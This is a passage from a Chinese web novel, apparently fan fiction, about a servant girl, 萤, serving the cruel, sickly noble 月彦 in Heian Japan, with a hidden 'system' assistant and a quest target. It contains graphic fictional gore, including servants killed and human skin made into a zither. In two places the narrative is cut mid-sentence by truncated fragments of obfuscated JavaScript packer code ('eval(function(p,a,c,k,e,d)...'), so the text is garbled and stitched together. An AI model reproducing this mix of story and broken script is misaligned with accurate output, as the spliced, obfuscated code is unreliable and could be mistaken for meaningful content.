他攥紧了手中的叶片,然后被新上任的老师敲了敲脑袋,“笨蛋,叶子都被揉皱啦,这样就完全不可以用了。” “哦……哦!”下意识松开手,果然,柔软叶片上出现了深绿色的折痕,他把叶子塞进口袋里,得到萤疑惑的询问。 “还有很多叶子,把这片扔掉吧。” 晴摇摇头,“当成纪念物,我很喜欢。” 萤狐疑地看着他,也没太纠结,继续开始了大师课。 整个下午的休息时间两人都凑在一起学吹叶子,可惜晴也只能吹出像放屁一样的声响,然后懊恼地把声音吹得更大,搞笑得很。 不过也算是有很大进步,萤一边笑着一边说。 雨停了, 屋檐上不再发出嘀嗒嘀嗒声, 天空中出现一抹七彩光芒,是彩虹诶。 晴偷偷摸摸从厨房拿了块儿糕点藏在胸前,他打开用手帕包裹着小小的和果子,撕开一半递给了萤,还不忘舔舔粘了点儿甜味的手指。 两人一同靠在略带有湿气的树干上观赏彩虹,吃着难得的点心,伸出手指一点点数着彩虹上面的颜色—— “黄、橙、红、绿、蓝……” “是不是少数了几个颜色?” “真的吗?那我再数一遍好了。” “……” “好困。” “那就睡一会儿吧。” 晴感受到一个毛茸茸的脑袋靠在自己的肩膀上,他不敢动,浑身都僵硬了不少,脖子处微弱的痒意传遍全身,接着听见了萤困倦的声音:“我想听妖怪的故事…” “我想想看——”他望着彩虹,忽然回忆起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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左右不过是个微不足道的小仆从,也没人觉得有什么不对。 厨房里的其余仆从都低下了头,推搡着萤快些走人,生怕让他们也沾上点儿衰气。 萤还没来得及收拾行李就被带走了,她想和晴说一声再见,可惜晴此时没在厨房里,最后只能默默离开了。 她央求一个关系还算不错的仆从,想要留给晴一句话。 等到晴再次回来时已经是第二日清晨, 他脸上挂着灿烂的笑意,几乎是蹦哒着跑了进来,想要和萤分享一个天大的好消息—— 阴阳师贺茂大人打算收他为徒,他们可以离开这里,一同去开启新的生活。 晴在厨房找了一圈,就连猪圈都翻遍了,就是没找到萤的身影。 其余仆从不想生事,只说萤调去了新的岗位,现在没有时间出来。 晴还是不依不饶,说什么也要找到萤。 最后还是由贺茂大人亲自来处理的,他抛出一张符咒,感叹着说:“你不能再去找她了,不过十年之后还可以见上一面。” 晴哄着眼睛质问道:“为什么?” “因为这是命运所注定的,你无法去改变既定的事实,就像昨日里我们两人的相遇也是命运所书写好的。” “……可我向神明祈祷了。” 眼泪一滴滴落下。 贺茂大人拍了拍他的肩膀,安慰着说:“还有一面的机会,别难过了。” “从此以后,你就叫安倍晴明吧。” 其中一位仆人终于没忍住说出萤留下的那句话: 【记得帮我实现那个愿望】 ...... 三千神明也并不可信,他望着天空,彩虹彻底散去,什么都没留下。 18.第 18 章 作为产屋敷家族的禁区,月彦少爷的院子位于整座宅院的西南方向,院前有一条近乎死寂的小溪,水面上满是枯枝残叶。 整个院落都是寂静的,没有虫鸣,同样也听不见鸟叫。仿佛被完全孤立在世界之外,带着凄凉诡异的淡灰色。 萤低着头,随着前面仆从的步伐慢慢走着。 她不敢抬头打量周围的一切,只敢盯着脚底下的石子路。 鼻尖可以闻见浓郁的药材气息,她皱了皱眉,这味道不算太好闻,有点儿像是腐朽木材的内里,让人忍不住联想到了死亡。 是的,死亡。 世人最不愿提及的死亡。 领路的仆人停下脚步,他站在门口,示意萤独自进去。 “进门右转,走廊尽头的那间屋就是了。” 萤攥着衣服袖子,紧张到无法呼吸。 犹豫再三后还是脱鞋迈入了屋子,脚步落在木地板上,发出嘎吱嘎吱的轻微声响,连带着心也跟着揪了起来。 即便再怎么小心,脚底也依旧会弄出不小的声音。 按理来说,这位少爷的房屋不可能使用这样材质的木材,可现在是为了什么呢? 直到萤来到走廊尽头那间房,缓缓推开门,看见那位比自己大不了几岁的月彦少爷正坐在和琴前,带有药味的檀香缓缓升起,模糊了他的眉眼。 黑得似墨的长发柔顺到不可思议,尽数披在肩后,他的动作很慢,每一步都带有所谓贵族的气息,就好像被精心设计的玩偶。脸上涂满了白色颜料,终日只能坐在柜子里任人摆弄。 萤只看了一眼就猛地低下头,跪在地上不敢说话。 人对于超过认知的存在总是心怀恐惧,现在也不例外。 “咳咳...”月彦少爷咳嗽了几声,他看着门口恭恭敬敬的仆从,缓缓说:“把头抬起来。” 他的声音如同从胸腔里挤出的气体,风轻轻一吹就什么都听不见了,似鬼魅。 萤抬起头,目光放在了摆在屋内的巨大和琴上。 上面有几处血迹,根据颜色来判断应该是刚刚弄上去的,十分鲜艳,简直是这件屋子里唯一的亮色。 月彦少爷只说了那一句话便不再开口,低下头随意拨弄着琴弦,任由萤跪在门口。 时间一分一秒的过去,直到星空银盘高挂,直到仆人送药时有一滴药渍不小心洒在地上,月彦少爷皱了皱眉,那仆人被当场解决,琴弦处又多了一抹血色——萤始终都跪在那里,不敢动弹。 她想要低头,又不敢低头,最后只能看着徐徐燃烧的檀香发呆,努力让自己去忽视大腿的酸涩感。 心中有种莫名的直觉:如果她胆敢动一下,那么琴弦上的下一条血痕就会是她了。 夜幕降临,到了月彦少爷的休息时间,萤这才被赦令起身,被仆从带到院落里的一个小房间,并要求她每日都去侍奉少君。 至于侍奉的内容,很可能就是继续跪着了。 她躺在硬邦邦的地上,身上衣服沾染了汗臭,膝盖也已红肿,碰一下就感到呲牙咧嘴的疼。浑身每一处都在叫嚣着不适,可她也只能强迫自己入睡,好来应对明天的刁难。 还真是命如草芥,一文不值。 夜里有几条蜈蚣从她脸上爬过,带来阵阵痒意,迷迷糊糊把虫子拍下去后又陷入了沉睡。 第二日凌晨, 天还未亮, 仆人把萤叫醒,告诉她月彦少爷醒了,现在需要她去服侍。 “没有早食吗?” “自然没有。” 这仆从顿了顿,看着萤瞬间失去光芒的眼睛又觉得实在可怜,瘦骨嶙峋的,还没一只猫儿大。于是悄悄从袖口里递给她一块点心,并叮嘱萤不能告诉任何人。 她点点头,实在饿得太狠,胃里痉挛不止,直接一口把点心吞了进去。 然后毫不意外的呛到,咳得她眼泪都出来了。 这下好了,本来就只有一点点的糕点被她咳出大半,眼睛红红的,像只可怜的小兔子。 她咳嗽完还不忘向这位好心仆从道谢,一眨不眨地看着对方,声音有些哑:“我可以知道,您的姓名吗?” 仆从摇摇头,收敛起自己那点儿微弱的恻隐之心,板着脸告诉她时间要来不及了。 萤随意擦擦脸,踩着嘎吱嘎吱响的木地板飞速走到了月彦少爷的屋子门口,跟昨天一样跪在地上不敢说话。 她不敢低头,也不敢去看少君的眼睛,只能继续看着那把和琴。昨日里过于恐惧没有细看,今天才发现原来整把琴都是深褐色,并不像是染料,更像是血液凝固后的残色。 檀香还在不停燃烧着,和这满屋的血腥、药材融为一体,变成了少君身上独有的气味。 这样的人,真的还可以被称为人的存在吗。 萤不知道,她只感觉脸上很痒,估计是被昨天夜里的爬虫咬到了。两条腿近乎麻木,她舔了舔干涩的嘴唇,始终也想不明白自己为什么会遭遇这些。 好倒霉,明明什么也没做,怎么就会被这么折磨呢。 可是又不想死,她还想尝尝那些好吃的点心,还想养只小猪崽,还想去看看梦中的大海......如果现在死掉,那么一切就都不可能了。 就这样倒数着生命里最渴望的东西,萤又熬过了一天,她撑着两条快断了的腿慢慢退下,回到昨天夜晚的破屋子里。 她甚至连睡都睡不着了,脸上密密麻麻的痒意让她下意识想要用手去扣,还有已经肿胀发紫的双腿,移动都是个问题。 肚子里空空的,连口水都喝不到。 昨天实在太困没有仔细看,今天才发现这间屋子的墙壁上爬满了虫子,黑乎乎一片占据了墙壁,地上甚至有无数恶臭的老鼠屎。 萤最后决定在外面睡觉,她昨天没被咬死真是运气太好了。 月光微弱的光照亮了石阶,萤用一个扭曲的怪异姿势躺在地上,感觉冰冰凉凉的,白日里只能算是阴森的院子在晚上显现出了其更为恐怖的一面。 没有人点灯,四周同样没有蝉鸣, 安静到只能听见自己的呼吸。 萤闭上眼睛,枯叶夹着风从耳边一闪而过,像是进入了冰窟里让人忍不住发颤。 她一边进入了浅眠,一边又觉得恐惧。 大脑不时回放着一个画面——琴弦上的血色。 有人在哭,浑身无数碎肉拼凑成一大团肉球,黄色脂肪颗粒渗出油脂,头发连接着头皮扯下,肠子包裹着排泄物,最后被大雨冲刷,进了猪的肚子里。 风还在不停吹着, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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本想着今天也在屋外对付一晚,可外面却下起了雨。 萤用雨水稍微冲洗了身子,虽然衣服依旧粘腻但身上总算舒服了一些。 她用手捧着雨水喝了下去,干涩冒烟的喉咙终于感到一丝清凉。直到空荡荡的胃里装满了雨水,这才觉得好像重新活了一次。 靠在门框上,她望着屋外滴答滴答的雨发呆。 该怎么办呢, 没有人回答她,就好像在这里死去的每一个仆从。 第四日、 第五日、 第六日、 第七日, 她跪在门口,细细看着月彦少爷的那张脸,心中计算着时间。 每日仆从会在固定时间送药三次,而后就是弹琴、看书、小憩,生活相当规律,除去出门看花外几乎不会再有任何外出行为。 月彦少爷的身体状况可以称得上一碰就碎,这样一个人有什么值得害怕呢? 于是,萤站了起来。 将那把和琴砸个粉碎,然后取出其中一根琴弦抵在了月彦少爷的脖颈处, 她看着身下的人,对方似乎是没有意识到还会有如此大胆的仆人,整个人都在剧烈咳嗽,胸腔发出剧烈轰鸣,脖颈的血液渗透在那根琴弦上。 “好丑,你真是我见过最丑的人。” 萤笑着说,然后毫不犹豫地把还在燃烧的檀香灰倾洒在他的脸上,愉悦聆听着他的痛呼声。 恶心的家伙。 恶心的贵族。 恶心、恶心、恶心。 19.第 19 章 月彦少爷不喜欢雨天、阴天、晴天、雪天......总而言之,几乎没有喜欢的天气。 不过最讨厌的天气毫无意外是雨天。 雨水滴落在屋外停滞的河水之中,泛起阵阵涟漪。刻意营造的死寂被打破,这源于自然之中无法抗拒的生生不息之意,总会让将死之人感到厌恶。 碰巧,近来月彦少爷的身体状况愈发不佳,医师私下里用着惋惜的神色说:很可能活不过这个梅雨季了。 梅雨季,潮湿黏着的烦闷空气会紧紧依附在人的皮肤。 同样也会是相当长的阴雨连绵的一段时间。 每到这个时节,整个院子的仆人都要打起万分精神来应对少爷反复无常的心情,生怕自己成为了那块花田的养料。 就在某个寻常的雨天, 仆从顺从地低着头守在门外,月彦少爷正在调试和琴。这把琴是家主耗费高价打造而成的,每一根琴弦都闪耀着银光,琴身更是用上某种特殊材质以防虫蛀腐烂。 这材质细腻温润,世间还没有任何一种牲畜的皮可以比拟,而后有仆从在这上面看见了独属于人的毛孔。 这才恍然大悟,原来人对于贵族来说也仅是可以剥皮剜肉的畜生而已。 不过更为好笑的是——这被剥皮制琴的人,直接用作花肥的人,还有被剁成馅儿喂猪的人也大有不同,人畜也要分出个三六九等来。 门口站着的仆从更加小心地屏气,生怕自己的呼吸叨扰到少爷。 屋内常年点着檀香,神龛上的神灵始终眯着眼睛,任由烟雾飘摇,将整间屋子的腐烂都熏成了某种香味。 像是熟透了的山茶花,说不出来的怪异。 没过一会儿,琴已调试好,月彦少爷的指尖还未碰触到琴弦时就开始一阵咳嗽。 毫无血色的脸颊近乎惨白,眉头下意识微微皱起,双眸漆黑却无任何光彩,他咳得撕心裂肺,整个五脏六腑似乎都移了位,琴弦发出一阵杂音,直到仆人端来新的药汤后才终于可以再次呼吸。 仆从低着头后撤退离房间, 下一秒就听见摔东西的清脆声响。 那神灵雕塑的头颅慢悠悠滚了出来,摔个粉碎。不知怎的,唯留下一双眼睛,一眨不眨盯着屋内人的身影。 过了一会儿,院子内渐渐响起了琴声。 和屋外淅淅沥沥的大雨融为一体,狂风呼啸而过,枯叶落了满地。 仆人心中松了口气,最难熬的时间已经过去了,现在只需要静候就好。 可谁知,一道清脆的乐器声从院外厨房方向传来,不仅和月彦少爷弹奏的节奏相似,而且...充满了希望。 琴声戛然而止,但另一道声音还未终止。 “把那个人带过来。” 里屋的贵族轻飘飘落下一句话,嗓音沙哑,带着不容置疑的威严。 明明只是个十二三岁的孩子,即使身体病弱成如此模样,也还是那所谓贵族。 仆人恭敬应下了这个任务,并为那位在雨天演奏的陌生人感到一丝怜悯。 真可怜呐,就要被判以死刑了。 ... 当那位擅自演奏的仆从跪在月彦少爷门前时,等待着的就只有死亡,再没有其它结局。 小仆从穿着一身过于肥大的破布衣裳,指甲缝里还有厚厚的尘土,除去那双还算明亮的眼睛外,整个人都是严重营养不良的瘦弱模样。 总而言之,就是普通贱民的样子。 在贵族眼里最为下等的人畜,可以随意用手指碾死的蝼蚁。 “把头抬起来。” 月彦少爷平生第一次如此细致地打量一位仆人,他并不在意对方是用什么乐器吹奏的,也不在意对方是否是个难得的音乐天才,他只觉得被浅浅膈应到了。 专属于他的乐谱被这样一个低贱的仆人学去...真是玷污了难得的曲谱。 刚好,花园里的花近来需要新的肥料。 月彦少爷用手帕拭去琴弦上的一滴雨珠,他改了主意,这样轻易死去实在是不够有趣,干脆换个法子吧。 看着跪在那里摇摇欲坠却还强撑着不敢动的小仆人,他舔了舔唇,心中微妙划过一丝快意。 他当然知道自己这隐秘的快感源自于何处,然后缓缓将原来的曲谱撕成两半,丢进香炉之中被点燃。 那谱子,名为春之樱,有生生不息之意,据说是奈良时期一位有名乐师所作。失传许久后被家主找到,最后送给他作为生辰礼。 他弹奏了三年,却怎么也无法领悟其中寓意,可就是眼前这个仆人,只听了一次就可以吹奏出整曲,并完全传递出了那股生命的气息。 ...真是令人扫兴啊。 那么这种曲谱也没有存在的意义了吧。 他用手撑着下巴,长发披在身后,静静欣赏着价值千金的传世曲谱被火焰所覆盖,渐渐化为香炉灰烬的一小团。 那所谓的生命,所谓的春日,所谓的一切都是假的,恶心虚伪的存在。 琴弦又松了, 随手处置了一位不顺眼的仆人,用温热人血来滋养这把和琴。 直到夜晚,那个跪在门口的小仆人始终保持着一动不动的姿势,木地板上满是粘腻的汗渍。 倒是没想到小仆人能坚持下来的月彦少爷稍微提起一点兴致。 他在心中打了个赌,如果小仆人能跪三天,那么就成为花园的肥料,如果能跪四天,就直接喂给野外的妖怪好了...…其它的死法,他还没想到什么有趣的。 至于琴弦,这小仆人的血太脏了,还不配。 月彦少爷厌恶着死亡,但并不恐惧他人的死亡,毕竟看着身体健康、本不应该死去的人在自己手下死去,那种满足感是无与伦比的。 于是就这样过去了七日。 小仆人的脸上满是被蚊虫叮咬的痕迹,留下许多狰狞的疤痕,两条腿也同样高高肿起,膝盖处的布料被磨破,露出深紫色内里的恐怖肌肤。 今天是个难得的好天气, 雨停了,太阳被乌云所遮挡, 身体同样也觉得轻盈了许多,月彦少爷感觉心情还算不错。 他想,或许可以赐给门口的仆人另一种死亡—— 扔进蛇窟里,听起来是不是很有趣? 平日里的那些仆人总是死得太过容易,他们没有像他一样感受着漫长而痛苦的折磨,既然这小仆人可以忍受连跪七日,那么在蛇窟里也能活得更久一些吧。 身体保留着意识,眼睁睁看着自己一点点被吃掉却无力挣扎,最后剩下一副残骨。 想到这里,他勾起了唇角,觉得是时候该结束这场无聊的游戏了。 喝了药,弹完琴,翻了翻了无生趣的闲书, 他打算在第三根檀香燃烧殆尽后,处死门口的小仆人。 第一根檀香, 第二根檀香, 第三根檀香, 一直跪着的小仆人忽地站起来,迈着摇摇晃晃的步伐走向他,并一脚踹翻了那把人皮和琴。 这一切都发生的太快,让月彦少爷完全没反应过来。 再然后,野蛮的 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杀人这种事,就需要先下手为强嘛。 月彦少爷还在咳嗽,生理性泪水从眼角滑落,和脖颈上的血液混合为一体,缓缓流下,滴在木地板上。 他感觉到了窒息和疼痛,虽然从出生起就无时无刻不在感受着身体内部的痛,可如此明显的外伤还是头一次,在无法忍受的痛苦中还诡异夹杂着一丝愉悦。 诡异的愉悦。 就好像生平第一次清晰感觉到自己还活着,即便是以死亡为代价。 太诡异了,他怎么能如此下贱,在这种时候还能觉得愉悦。 脖颈上无比清晰的疼痛感将身体内部的疼痛全部都带走了,全身器官都被调动起来,只聚集在那一小处。 生命在不断流逝,原来【死】就是无比接近【生】的存在。 他感到难得的舒适。 受虐狂般享受着对方的动作。 “......恶心,你真是我见过最恶心的东西了。” 萤看着脸上泛起红晕的月彦少爷,颇为嫌弃地松开了手。她用脚踩着对方的脸,左看右看都觉得恶心。 这世界怎么会有这种东西的存在。 她蹲下身,使劲儿拍了拍小少爷的脸,“给我足够的钱,并放我出去。” “......” “别装死,我不介意再抽你几巴掌。” 小少爷微微睁开眼,又咳嗽了好一阵子,这才缓缓说道:“不可能。” 没等萤继续琢磨什么酷刑,小少爷努力支起身子,他那头漂亮的长发沾上了许多灰尘,脸上到处都是脏兮兮的眼泪和别的什么,看起来真是被糟蹋了的可怜样子。 他靠在墙上,眼睛红红的,提出了自己的要求。 ——“留在我身边,一年。” ——“我现在就掐死你。” ——“...半年。” ——“你想怎么死。” ——“三个月。” 他用什么咒术师和阴阳师留给他的东西立下了誓言,在这三个月内不会再伤害萤,并且时间一到就会兑现诺言。 萤将信将疑地应下了。 她当然也不傻,这位贵族少爷杀不得,对方身上藏着许多宝贝,杀死后指不定会触发什么诅咒。 看着还在不断咳嗽的月彦少爷,她在心中想着: 啧,果然是恶心的贵族。 20.第 20 章 “可能会有些疼,如果实在忍不了可以咬住这个。” 医师轻轻掀开那已经黏在伤口上的粗糙布料,看着本来瘦骨嶙峋的腿部肿胀成原来两倍不止,刺眼的深紫色如同盘旋在肌肤上的巨蟒,内有淤血堵塞。 若是再拖延一段时日医治,这两条腿可能就直接废掉了。 光是看着就觉得难以忍受的痛苦。 真是可怜的孩子啊。 医师递过去一块枕巾,让这位小病患可以有所发泄医治时的疼痛。 旁边饶有兴致观赏着的月彦少爷将那块枕巾夺去,在小仆人杀人的目光下缓缓撸起长袖,将自己终日不见阳光的惨白胳膊放在她的唇边。 “疼的话,咬我。” 胳膊被果断推开了,小仆人用那种嫌恶的表情看着对方,“我嫌恶心。” 月彦少爷舔了舔唇,他随手将那块枕巾扔了出去,咳嗽几声后挑眉看向小仆人。 “有病。”小仆人在心中咒骂几声,然后请求医师直接帮她治病,不需要什么东西咬着,她自己能熬过去。 毕竟连跪十天都熬下来了,还有什么痛苦接受不了呢? 医师一时间进退两难,最后还是在月彦少爷的赦令下开始进行医治。 首先需要将膝盖处的淤血排出,接着观察内里经络是否有断裂,最后缝合伤口,敷上药膏静养一段时日。在此期间最好不要再走动,让人帮忙搀扶着行走,重新恢复康健也会是相当艰难的一段疗程。 这其中但凡有一步没有到位,就可能终生残疾了。 医师只是尽量诉说那些好的方面,至于最坏的情况都要隐藏在病患之后,这也是行医的关键。 而后,他小心翼翼用炙火烤过的刀刃划开膝部伤口,听得闷哼一声。 ——好痛 ——真的好痛啊 额头瞬间渗出密密一层冷汗,皮肉被划开的疼痛跟伤口内部的疼痛比起来不值一提,她攥紧了拳头,指甲近乎要戳进肉里,哭都哭不出来。 月彦少爷低下头,凑在那被划开的翻涌皮肉上看了又看,觉得有趣极了。伸手接住一滴血,被蛊惑般抿进唇中,原来人血竟然是这样的滋味。 没有铁锈般的腥味,像是大海中的鱼,带着点儿咸湿气息。 然后他的胳膊被人拽起,狠狠咬住,两颗尖锐的虎牙在肌肤上刻下深深痕迹。 他打了个颤,不知为什么,酥酥麻麻的痒意从尾椎骨处慢慢攀岩,浑身都在战栗,然后瞬间红了脸,红玛瑙般的双眸里充满了水雾。 嗓子里嘤咛一声,戚戚然倒在了小仆人的怀里,柔弱无辜的可怜样子。 这可把医师吓了一大跳,下意识想去扶起月彦少爷。 “呸。”萤把口中的血吐了出去,“他脑子有病,不用管他。” 医师看了看满脸红晕不停蹭着女孩衣角的少爷,这副失礼模样倒还真是头回见。 往日每次见到这位体弱的少爷始终都维持着那属于贵族的高自尊与敏感,只要言语神情间透露出稍微一点儿怜悯和可怜的神情,都会被毫不留情地扫地出门。 好在这个时代医师难得,仅是皇族、贵族内部才可享受的待遇,要不然这里还不知道要有多少具医师的尸体。 不知为何,医师看着面前这个死死咬住下唇忍受痛苦的少女,或许她就是那个能解开月彦少爷心结的钥匙吧。 这样想着,医师也同样说了出来。 在医师欣慰的目光注视下,萤缓缓抬起头,她的唇色很艳,被自己咬出了血,头发湿了大片,披在衣服上显得狼狈之极。 她笑着回答:“您猜错了,我要杀死他。” “我也不是钥匙,仅仅只是个人而已。” 把那些可笑的救赎通通收走,如果她的腿有一丝一毫损失,那她可不会在乎什么诅咒契约,大不了两个人一起死。 从未想到会得到如此回答的医师笑容僵住,他看向月彦少爷,得到了这样暧昧的回答。 “杀了我,我就变成鬼,附在你身上永远啃噬着你的血肉。” 月彦少爷挂在了少女的肩膀上,凑在她耳旁轻声呢喃着,眼尾殷红,配合上那张死白死白的脸,说是地狱而来的厉鬼毫不过分。 “呵,你现在这副不人不鬼的样子其实也没差到哪里去。” 你一言我一语,这两人简直是把世间最为尖酸刻薄、攻击性最强的话语都说了出来,任何一句都足以让医师大开眼界。 淤血放干净了,月彦少爷的胳膊上也多了十三个渗血的牙印。 将伤口缝合,敷上冰凉药膏。 医师向身后的仆从叮嘱几句后便起身离开了。 萤已经撑不住睡着了,她躺在榻榻米上,被汗水打湿的长发打成许多结,有人静静凝视着她的睡颜,然后拿着木制梳子一点点打理着她的发尾。 头发是可以看出一个人是否为贵族的重要标志。 干枯毛躁、显现出黄色的,便是平民;而贵族呢,会用珍贵的薮椿作为发油,那股糜烂的香味会慢慢渗透进头皮,然后生根发芽,在身体里舒展出花苞,人自然而然就会散发出香气。 在那把沾染了椿油的梳子即将碰触到她的头发时,萤睁开了眼,毫不犹豫地把梳子扔出窗外。 一小瓶椿油被打翻在地,满屋都漂浮着那股香气。 萤皱了皱眉,“别把这些恶心的东西抹在我头上,就跟你身上的死气一样恶心。” 月彦少爷并不觉得恼怒,他用指尖抹了点地上还未化开的油,舔了舔,仔细分析后否决了对方的话:“和我不一样。” 他唤了仆人,把平日里喝的汤药倒在地上,接着再用指尖品尝,这才笑着说:“现在一样了。” 萤看着他的眼睛,就在他以为萤还要说出什么难听的话时,得到了厌烦的眼神。 “你是故意的。”萤这么说着,“你在故意激怒我,是吗?” 好聪明呐,他的小仆人。 “在我杀了你之前,不会再跟你说一句话了。” 萤闭上眼,不再理会那个疯子。 疯子笑了起来,随即是一阵剧烈的咳嗽,咳着咳着就听见了不同寻常的声音。< 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躺在泥土里的少爷挥挥手,自己慢慢爬了起来,拍拍身上的灰后迈步走进屋内,还带着一朵没有花瓣的花。 如果说从前的月彦少爷是喜怒不定的贵族,那么现在这个少爷,就是更加诡异的存在。 仆人们看着窗外,果不其然,那朵花也被扔了出来。 掉入死水之中,最后慢慢沉底,和那些尸体融为一体,成为院落不知名的某处景观。 “恶心。” ...... 萤的伤好得很快,恢复速度让医师都极为惊讶。 约莫过了一周时间就可以进行的康健恢复训练,这是最难的一步,也是最为考验人的意志力的一步。 医师本想着用孩童最为喜欢的糕点和甜食来鼓励,没想到他算是多此一举了。 那孩子扶着墙壁,凭借意志力一点点站了起来,浑身都在颤抖,她咬着下唇,没有喊一点疼。或许是最近能吃饱了,她的脸颊长了些肉。 只是那头长发不知怎的,被剪短了许多,七零八碎,像狗啃的一样。 她抬起头,和医师对视一眼。 那双黑曜石般明亮的眸子瞬间将医师击中。 就是这样不算得体又不知礼数的普通仆从,却迸发出了难以言喻的生命力,如同山间孤松,她仅仅是站在那里,就可看出所有的倔强和韧性。 这样的孩子应该生活在山野,奔腾于大海之中,不该被困在这样的房间,这样囚牢般的宅院里啊。 “好看吗?” 鬼魅般的声音在身后飘起。 医师瞬间收回自己失礼的目光,恭敬低下头,检查完情况后离开了这里,一句话不敢多说。 萤靠在墙壁上慢慢揉搓着小腿,想让肌肉快些恢复健康。 檀香点燃,香烟徐徐飘升, 一道身影悄无声息地出现在身后,用指尖勾着她的发尾。 萤头也不回,缓缓从嘴中吐露出两个字: “去死。” 21.第 21 章 今夜无月无风,寂静到只能听见自己的呼吸声。 躺在由柔软稻草和蔺草编制而成的凉席之上,徐徐燃烧着的香薰散发出不知名香气,灰烬化为那看不见的颗粒,飘落在蚕丝被褥一角,像是雪花般翩然。 这是月彦少爷宅院里最为精致的一间房,没有蚊虫和老鼠,同样也没有漏风的窗纸和破旧不堪的阴湿发霉墙壁。 她点燃烛火,蜷缩成一团靠在角落里发呆。 烛光随着动作带来的轻风微微晃动,地上的影子也随之扭曲变形,最终化为一只黑猫的模样。 那道影子舔了舔爪子,无声说了些什么。 【测试员,你的腿还疼吗】 她只眨了眨眼,没有回答,如同静默着的雕塑。 【请原谅我擅自更改了您的疼痛感受数值,根据以往所有的测试经验来看,过于疼痛会在一定程度上对测试员的精神有所损伤】 黑猫显然不大擅长道歉,它用最官方的话语来为自己这完全不符合智能助手出场设置的行为所辩解。 虽然它也不大清楚究竟在辩解什么。 测试员依旧没有回话,黑猫顿了顿,决定不再说那些没有意义的事情。 【主要攻略对象——两面宿傩的进度上升为5%,测试员有大约两周的时间没有接触任务对象,请注意该任务期限】 话音落地,测试员的神情终于有所变化。 “时间还没到,不要着急。”她这样说着,然后若有所思地伸出指尖摸了摸那道影子。 自言自语般笑了笑,“这副样子倒是顺眼许多。” 黑猫下意识蹭了蹭柔软的指腹,眯起眼睛,发出猫咪本能的呼噜声,然后僵住片刻,瞬间炸了毛,跃进烛火的微光中消失不见。 “啊啦,还真是不可爱呢。” 她吹灭了烛火,感受着完全没有几分疼痛的双腿。啧,差一点就要演不下去了,看来智能助手的权限比从前提高了许多,就连智能性也增加不少。 从监视者转换为现在这副人畜无害的模样,那群高层还真是煞费苦心。 撑起身子,用力推开窗,风铃轻响,屋内令人头晕目眩的香气向外扩散开,这才觉得好受许多。 目光放在窗外不远处的花园里,月光被遮掩在乌云下,黑漆漆的没有一丝光线。 在如此晦暗的世界里,只有那里摇曳着光芒。 用各色石子铺就的小路两旁摆放着一根根蜡烛,昼夜不舍地燃烧着,似乎永不停歇。 她当然知道这蜡烛是用什么制成的。 好心的月彦少爷怕她无聊,白日里总会讲些无聊故事,像是那些——如何完整扒下人的皮囊来制作一把绝妙的和琴;如何用人血精心护理琴弦与杂草;以及,如何利用尸油来炼制永不熄灭的长明灯…… 人在解决了如何活着的难题后就要开始琢磨,该如何活得更加快乐。 这些贵族们有千百年的时间来解答这个难题,最后他们得到了一个相似的答案,并乐此不疲地执行下去。 乌云散去, 月光倾泻而落。 照亮了花园中盛放似血的花,还有那个站在繁花中央的、似人似鬼的东西。 那东西身着狩衣乌帽,衣摆尽数垂落在石子小路上,苍白脸颊上唯双唇有几分血色,猩红双眸一眨不眨地盯着她,而后举起桧木扇遮掩了笑意,令人毛骨悚然。 这世上有几人会在半夜三更时,穿着繁琐,站在由尸体肥料精心栽培而成的花卉旁赏花呢? 她看着那团恶心的东西,没再多说什么,直接合拢了窗户,裹上被褥沉沉睡去。 只不过今夜的梦并不踏实。 有人在她耳边一遍遍念着她的名字,而后她变成了花园中的一朵花,被那人小心翼翼用围栏圈住,日日夜夜用血温养。她生长出最尖锐的刺,一圈圈把那家伙缠住。 最后只听见了癫狂到极致的笑,以及那一句—— “萤,把我吃掉吧。” 月光坠落,花园里只剩下一朵花。 她睁开眼, 门外站着一位仆人,面露难色。 “有什么事吗?”她问。 仆人点点头,斟酌着说:“月彦少爷昨日夜里受凉,今日一早便发了寒症。” “这种事告诉医师便是了,和我说又有什么用呢。” “医师已经来了,只是...”仆从顿了顿,“少爷不愿治病,一直念叨着您的名字。” “劳烦您随我走一趟了。” 仆从跪在地上,姿态放得谦卑恭敬极了。 自从月彦少爷突然转了性子,整座宅院就知道要精心侍奉的人又多了一位。他们自然而然遗忘掉萤从前的仆役身份,按照贵族姬君规格来侍奉。 好在这位姬君性格温和,非必要时几乎不会使唤下人。 萤看着门外的仆从,一点点扫视着对方的模样,接着伸出一只手来:“扶我一把,我的腿还没完全好。” “是。” 仆从起身,小心翼翼地搀扶起了姬君。 萤的房间和月彦少爷的的房间相距不远,当然也称不上近。 她只走了几步路就已疼得皱眉,不过依旧固执的没有说出一声不适。 贴心的仆人蹲下身,“我背着您过去吧。” “多谢。” 背上的人轻到不可思议,像是一小团羽毛般,只需轻轻一吹,就消失得无影无踪。 仆从这样想着,全然没有察觉到姬君那怀疑的目光正隐秘观察着自己。 到了月彦少爷的房门口, 医师正局促地站在屋外擦汗,见到萤就像见到了救星般,絮絮叨叨着关于月彦少爷的情况。 里面夹杂着许多晦涩难懂的医学术语,她也耐心聆听,扶着墙慢慢从仆人的背上下去。 “我进去看看,你在这里等我。”她对即将隐入阴影之中离开的仆从说道。 “是,姬君。” 仆从停下了动作,脸上那一成不变的笑容淡了淡。 看着那道小小身影一瘸一拐地走了进去,医生对身旁低着头的仆从随口感叹一句—— 现在唯有这位姬君才能管住月彦少爷,真是神迹啊。 仆从笑而不语。 医师下意识瞥了对方几眼,觉得有些眼生,奇怪,这里的仆从他大都认识,今日这位怎么从未见过呢。 仆从抬起头,眼睛里闪烁着耀眼的柔光,九条虚幻白色尾巴在他身后一晃而过,他笑眯眯地说:“您就当从未见过我吧,如何?” “......是。” 等到医师再次回过神时,身边早已空无一人,他独自站在那,并 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血液喷发而出,溅到萤的脸上,滴答滴答落下。 “但你还是没长大,所以我想,用我的血来作为养料,怎么样?” 他伸出手,蹭了蹭萤唇上的血迹,然后缓缓将指尖塞进萤的口中,全然不顾还在渗血的伤口,露出某种恶心的、餍足的笑容。 “只可惜,我的血还是不够。” 萤报复般死死咬住口中的手指,直到那股腐木般的血液在口中化开后才猛地收回手。 不对劲。 屋外忽然传来几道惊呼,然后是重物倒地声。 月彦少爷被推到在地,心脏处的伤口以肉眼可见的速度开始愈合。他慢条斯理地合拢带有血迹的衣服,说完了梦的终局。 ——“你开花了,代价是整个产屋敷家族的死亡。” “......” 